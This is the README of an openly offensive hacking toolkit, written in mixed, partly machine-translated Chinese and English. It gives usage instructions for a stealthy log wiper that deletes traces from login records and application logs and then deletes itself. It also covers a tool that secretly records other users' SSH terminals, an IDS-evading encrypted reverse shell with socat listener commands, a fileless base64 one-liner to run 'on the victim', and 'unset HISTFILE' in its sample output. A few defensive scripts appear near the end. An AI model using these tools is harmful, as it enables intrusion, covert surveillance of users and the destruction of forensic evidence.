自由抗争脚本

此仓库包含一些在自由抗争活动中可能派上用场的脚本。它会偶尔更新，当我自己需要某些找不到在线资源的东西时。这里的所有内容均遵循 GPL v3 许可证条款发布。

欢迎贡献和拉取请求。

nojail.py，一个 Python 日志清理工具。
share.sh，一个安全文件共享脚本。
autojack.py，一个终端日志记录器。
listurl.py，一个站点映射器。
ersh.py，一个加密反向 Shell。
boot_check.py，一个检测邪恶女佣攻击的脚本。
notify_hook.py，一种在系统上调用某些二进制文件时触发警报的方式。
杂项（联系与捐赠）

nojail.py

一个日志清理工具，用于删除以下位置中的有罪条目：

/var/run/utmp，/var/log/wtmp，/var/log/btmp（控制 who、w 和 last 命令的输出）
/var/log/lastlog（控制 lastlog 命令的输出）
/var/**/*.log（包括 .log.1、.log.2.gz 等）
用户指定的任何其他文件或文件夹

删除基于 IP 地址和/或关联主机名的条目。

特别注意在篡改日志时避免破坏文件描述符。这意味着日志在被篡改后仍能继续写入，从而使清理工作更不易察觉。所有操作都在 tmpfs 驱动器中完成，创建的任何文件都会被安全擦除。

警告： 该脚本仅在 Linux 上测试过，无法在其他 Unix 变体上清理 UTMP 条目。

用法：```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.

默认情况下，如果没有提供参数，脚本将尝试根据 `SSH_CONNECTION` 环境变量确定要清除的 IP 地址。任何与该 IP 的反向 DNS 匹配的条目也将被移除。

#### 基本示例：```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...将移除所有root用户下IP地址为151.80.119.32或主机名为manalyzer.org的记录。由于使用了--check选项，在删除每条记录前会提示用户确认。最后，除了所有默认日志文件外，还会处理文件/etc/app/logs/access.log。

如果以位置参数形式指定了文件夹（例如/etc/app/logs/），脚本会递归遍历这些文件夹并清理所有扩展名为.log的文件（包括*.log.1、*.log.2.gz等）。

正则表达式

您可能还希望从日志文件中移除任意行。为此，请使用--regexp选项。例如，以下命令行将查找从指定IP发往PHP文件的所有POST请求：``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

#### 脚本守护进程化```
./nojail.py --daemonize

假设这是通过 SSH 连接运行的，该命令将在连接关闭后立即删除与当前用户活动相关的所有日志（包括检测到的 IP 地址和主机名）。随后，该脚本将自动删除自身。请注意，您将无法收到来自应用程序的任何错误消息。建议您在生成守护进程之前先尝试删除一次日志，以确保指定的参数正确。如果您处于没有 TTY 的 shell 中，脚本将无法检测会话何时结束。您会收到通知，告知日志将在 60 秒后被删除，并且您应该在此之前注销（否则可能会在脚本运行后创建更多条目）。

示例输出：```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

### 免责声明
此脚本不提供任何保证。
如果它没有清除你不应该做的某些事情的痕迹，不要责怪我。

## share.sh

一个便携且安全的文件共享脚本。在自由斗争中，通常无法将文件通过scp传入被入侵的机器。需要其他上传文件的方式，但大多数共享服务要么限制太多，要么不提供从命令行轻松检索文件的方法。安全方面的考虑也可能阻止人们将敏感文件上传到云服务提供商，担心他们会永久保留副本。

这个小巧便携的bash脚本依赖[transfer.sh](https://transfer.sh)来解决这个问题。它...
* 在上传前加密文件（对称AES-256-CBC）。
* 如果系统上存在`torify`，则自动使用它来增加匿名性。

唯一需要的依赖是`openssl`以及`curl`或`wget`。

### 使用```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Additional arguments during the upload allow you to control the maximum number of downloads allowed for the file (-m)
and how many days transfer.sh will keep it (-d). The default value for both these options is 1.

Warning: Do not use spaces in the encryption key, or only the first word of your passphrase will be taken into
account. This is due to the way getopts handles arguments (I think). Pull requests are welcome if anyone is interested in
fixing this.

autojack.py

AutoJack 是一个简短的脚本，利用 EmptyMonkey 的 shelljack 来记录
任何通过 SSH 连接的用户的终端。它监视 auth.log 中的成功连接，找出用户 bash 进程的 PID，
并将其余工作交由 shelljack 处理。shelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

通过递归抓取所有URL来映射网站。

可选参数：
  -h, --help            显示此帮助信息并退出
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        爬取的最大深度（默认为3）。
  --threads THREADS, -t THREADS
                        使用的线程数（默认为10）。
  --url URL, -u URL    起始页面URL。
  --external, -e       是否跟随外部链接（默认为否）。
  --subdomains, -d     是否在范围内包含子域名（默认为否）。
  -c COOKIE, --cookie COOKIE
                        为请求添加cookie。可以多次指定。示例：-c "user=admin"。
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        用于忽略URL的正则表达式。给定的表达式不需要匹配整个URL，只需匹配一部分。
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        用于过滤显示结果的正则表达式。给定的表达式在结果内搜索，不需要匹配整个URL。示例：\.php$
  --no-certificate-check, -n
                        禁用SSL证书验证。
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        将获取到的URL写入的文件
  --verbose, -v        更详细输出。可多次指定。```

Here is the sample output for a small website:

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] 开始在第1层深度爬取。
   [*] 开始在第2层深度爬取...
   [*] 开始在第3层深度爬取。
   [*] 发现的URL:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] 开始在深度 1 爬取。 [] 开始在深度 2 爬取。^C 捕获到中断！请等待几秒钟让线程关闭... [*] 发现的 URL: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a 面对一个没有标准工具或编译工具，也无法轻松上传二进制文件的shell？你是否担心IDS会注意到出站shell？因为按下了^C而不小心关闭了你的netcat监听器？
无需再忍受。ersh offers the following features:

SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
Fully featured TTY.
Optionnaly file-less.
No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

###############################################################################
# 编辑以下参数
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

client_key should contain the contents of client.key.
client_crt should contain the contents of client.crt.
server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@victim:~# python ersh.py
[*] 连接已建立！
root@victim:~#```

And on the receiver again:

root@attacker:~~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:~~# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
#> systemctl enable boot_check.service

Install dependencies:

#> apt install smartmontools dialog

Run the script once so it initializes:

#> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/master/justicerage%40manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)

最受欢迎

freedomfighting